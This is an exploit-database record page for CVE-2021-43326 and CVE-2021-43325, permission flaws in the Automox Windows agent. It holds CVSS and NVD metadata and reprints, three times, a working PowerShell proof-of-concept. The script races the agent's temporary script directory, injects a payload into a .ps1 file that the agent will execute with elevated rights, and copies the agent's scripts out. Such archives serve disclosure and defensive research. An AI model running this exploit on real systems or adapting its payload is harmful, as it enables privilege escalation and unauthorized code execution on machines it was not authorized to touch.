DATABASE RESOURCES PRICING ABOUT US

{"id": "1337DAY-ID-37201", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "Automox Agent 32 - Local Privilege Escalation Exploit", "description": "", "published": "2022-01-06T00:00:00", "modified": "2022-01-06T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "baseScore": 4.6}, "severity": "MEDIUM", "exploitabilityScore": 3.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/37201", "reporter": "Greg Foss", "references": [], "cvelist": ["CVE-2021-43326"], "immutableFields": [], "lastseen": "2022-01-08T13:34:04", "viewCount": 113, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-43325", "CVE-2021-43326"]}, {"type": "exploitdb", "idList": ["EDB-ID:50642"]}, {"type": "githubexploit", "idList": ["BD74F0F3-2B2E-515C-A333-66E63F62C92B"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:165449"]}]}, "score": {"value": 5.6, "vector": "NONE"}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2021-43326"]}, {"type": "exploitdb", "idList": ["EDB-ID:50642"]}, {"type": "githubexploit", "idList": ["BD74F0F3-2B2E-515C-A333-66E63F62C92B"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:165449"]}, {"type": "threatpost", "idList": ["THREATPOST:5D5241707AB76ED799696E37D048872A", "THREATPOST:7876640D5EC3E8FE3FE885606BBB1C6D"]}]}, "exploitation": null, "vulnersScore": 5.6}, "sourceHref": "https://0day.today/exploit/37201", "sourceData": "# Exploit Title: Automox Agent 32 - Local Privilege Escalation\n# Date: 13/12/2021\n# Exploit Author: Greg Foss\n# Writeup: https://www.lacework.com/blog/cve-2021-43326/\n# Vendor Homepage: https://www.automox.com/\n# Software Link: https://support.automox.com/help/agents\n# Version: 31, 32, 33\n# Tested on: Windows 10\n# Language: PowerShell\n# CVE: CVE-2021-43326\n\nNew-Item -ItemType Directory -Force -Path $HOME\\Desktop\\automox\\\n$payload = \"whoami >> $HOME\\Desktop\\automox\\who.txt\"\necho \"\"\necho \"Watching for Automox agent interaction...\"\necho \"\"\nfor (($i = 0); $i -lt 500; $i++) {\n if (Test-Path -Path \\ProgramData\\amagent\\execDir*\\*.ps1) {\n try {\n $dir = Get-ChildItem \\ProgramData\\amagent\\execDir* | Select-Object Name\n $dir = $dir.name\n $file = Get-ChildItem \\ProgramData\\amagent\\$dir\\*.ps1 | Select-Object Name\n $file = $file.name\n (Get-Content -Path \\ProgramData\\amagent\\$dir\\$file -Raw) -replace \"#endregion\", \"$payload\" | Set-Content -Path \\ProgramData\\amagent\\$dir\\$file\n cp -r \\ProgramData\\amagent\\$dir $HOME\\Desktop\\automox\\\n echo 'popped :-)'\n Start-Sleep 5\n echo ''\n echo 'cloning all powershell script content...'\n for (($i = 0); $i -lt 100; $i++) {\n cp -r \\ProgramData\\amagent\\* $HOME\\Desktop\\automox\\ -Force\n Start-Sleep 1\n }\n exit\n } catch {\n throw $_.Exception.Message\n }\n } else {\n echo $i\n Start-Sleep 1\n }\n}\n", "category": "local exploits", "verified": true, "_state": {"dependencies": 1647589307, "score": 0}}

{"cve": [{"lastseen": "2022-03-29T21:02:43", "description": "Automox Agent before 32 on Windows incorrectly sets permissions on a temporary directory.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-15T07:15:00", "type": "cve", "title": "CVE-2021-43326", "cwe": ["CWE-276"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-43326"], "modified": "2022-03-29T16:28:00", "cpe": [], "id": "CVE-2021-43326", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-43326", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2022-03-23T19:40:32", "description": "Automox Agent 33 on Windows incorrectly sets permissions on a temporary directory. NOTE: this issue exists because of a CVE-2021-43326 regression.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-15T07:15:00", "type": "cve", "title": "CVE-2021-43325", "cwe": ["CWE-276"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-43325", "CVE-2021-43326"], "modified": "2021-12-17T19:20:00", "cpe": ["cpe:/a:automox:automox:33"], "id": "CVE-2021-43325", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-43325", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:automox:automox:33:*:*:*:*:*:*:*"]}], "packetstorm": [{"lastseen": "2022-01-05T17:16:50", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-05T00:00:00", "type": "packetstorm", "title": "Automox Agent 32 Local Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-43326"], "modified": "2022-01-05T00:00:00", "id": "PACKETSTORM:165449", "href": "https://packetstormsecurity.com/files/165449/Automox-Agent-32-Local-Privilege-Escalation.html", "sourceData": "`# Exploit Title: Automox Agent 32 - Local Privilege Escalation \n# Date: 13/12/2021 \n# Exploit Author: Greg Foss \n# Writeup: https://www.lacework.com/blog/cve-2021-43326/ \n# Vendor Homepage: https://www.automox.com/ \n# Software Link: https://support.automox.com/help/agents \n# Version: 31, 32, 33 \n# Tested on: Windows 10 \n# Language: PowerShell \n# CVE: CVE-2021-43326 \n \nNew-Item -ItemType Directory -Force -Path $HOME\\Desktop\\automox\\ \n$payload = \"whoami >> $HOME\\Desktop\\automox\\who.txt\" \necho \"\" \necho \"Watching for Automox agent interaction...\" \necho \"\" \nfor (($i = 0); $i -lt 500; $i++) { \nif (Test-Path -Path \\ProgramData\\amagent\\execDir*\\*.ps1) { \ntry { \n$dir = Get-ChildItem \\ProgramData\\amagent\\execDir* | Select-Object Name \n$dir = $dir.name \n$file = Get-ChildItem \\ProgramData\\amagent\\$dir\\*.ps1 | Select-Object Name \n$file = $file.name \n(Get-Content -Path \\ProgramData\\amagent\\$dir\\$file -Raw) -replace \"#endregion\", \"$payload\" | Set-Content -Path \\ProgramData\\amagent\\$dir\\$file \ncp -r \\ProgramData\\amagent\\$dir $HOME\\Desktop\\automox\\ \necho 'popped :-)' \nStart-Sleep 5 \necho '' \necho 'cloning all powershell script content...' \nfor (($i = 0); $i -lt 100; $i++) { \ncp -r \\ProgramData\\amagent\\* $HOME\\Desktop\\automox\\ -Force \nStart-Sleep 1 \n} \nexit \n} catch { \nthrow $_.Exception.Message \n} \n} else { \necho $i \nStart-Sleep 1 \n} \n} \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/165449/automoxagent32-escalate.txt", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2022-05-13T17:33:38", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-01-05T00:00:00", "type": "exploitdb", "title": "Automox Agent 32 - Local Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["2021-43326", "CVE-2021-43326"], "modified": "2022-01-05T00:00:00", "id": "EDB-ID:50642", "href": "https://www.exploit-db.com/exploits/50642", "sourceData": "# Exploit Title: Automox Agent 32 - Local Privilege Escalation\r\n# Date: 13/12/2021\r\n# Exploit Author: Greg Foss\r\n# Writeup: https://www.lacework.com/blog/cve-2021-43326/\r\n# Vendor Homepage: https://www.automox.com/\r\n# Software Link: https://support.automox.com/help/agents\r\n# Version: 31, 32, 33\r\n# Tested on: Windows 10\r\n# Language: PowerShell\r\n# CVE: CVE-2021-43326\r\n\r\nNew-Item -ItemType Directory -Force -Path $HOME\\Desktop\\automox\\\r\n$payload = \"whoami >> $HOME\\Desktop\\automox\\who.txt\"\r\necho \"\"\r\necho \"Watching for Automox agent interaction...\"\r\necho \"\"\r\nfor (($i = 0); $i -lt 500; $i++) {\r\n if (Test-Path -Path \\ProgramData\\amagent\\execDir*\\*.ps1) {\r\n try {\r\n $dir = Get-ChildItem \\ProgramData\\amagent\\execDir* | Select-Object Name\r\n $dir = $dir.name\r\n $file = Get-ChildItem \\ProgramData\\amagent\\$dir\\*.ps1 | Select-Object Name\r\n $file = $file.name\r\n (Get-Content -Path \\ProgramData\\amagent\\$dir\\$file -Raw) -replace \"#endregion\", \"$payload\" | Set-Content -Path \\ProgramData\\amagent\\$dir\\$file\r\n cp -r \\ProgramData\\amagent\\$dir $HOME\\Desktop\\automox\\\r\n echo 'popped :-)'\r\n Start-Sleep 5\r\n echo ''\r\n echo 'cloning all powershell script content...'\r\n for (($i = 0); $i -lt 100; $i++) {\r\n cp -r \\ProgramData\\amagent\\* $HOME\\Desktop\\automox\\ -Force\r\n Start-Sleep 1\r\n }\r\n exit\r\n } catch {\r\n throw $_.Exception.Message\r\n }\r\n } else {\r\n echo $i\r\n Start-Sleep 1\r\n }\r\n}", "sourceHref": "https://www.exploit-db.com/download/50642", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2022-02-16T18:15:14", "description": "# CVE-2021-43326 Exploit\n Automox Windows Agent Privilege Escala...", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-12-13T17:26:28", "type": "githubexploit", "title": "Exploit for Incorrect Default Permissions in Automox", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-43325", "CVE-2021-43326"], "modified": "2022-02-16T15:21:53", "id": "BD74F0F3-2B2E-515C-A333-66E63F62C92B", "href": "", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "privateArea": 1}]}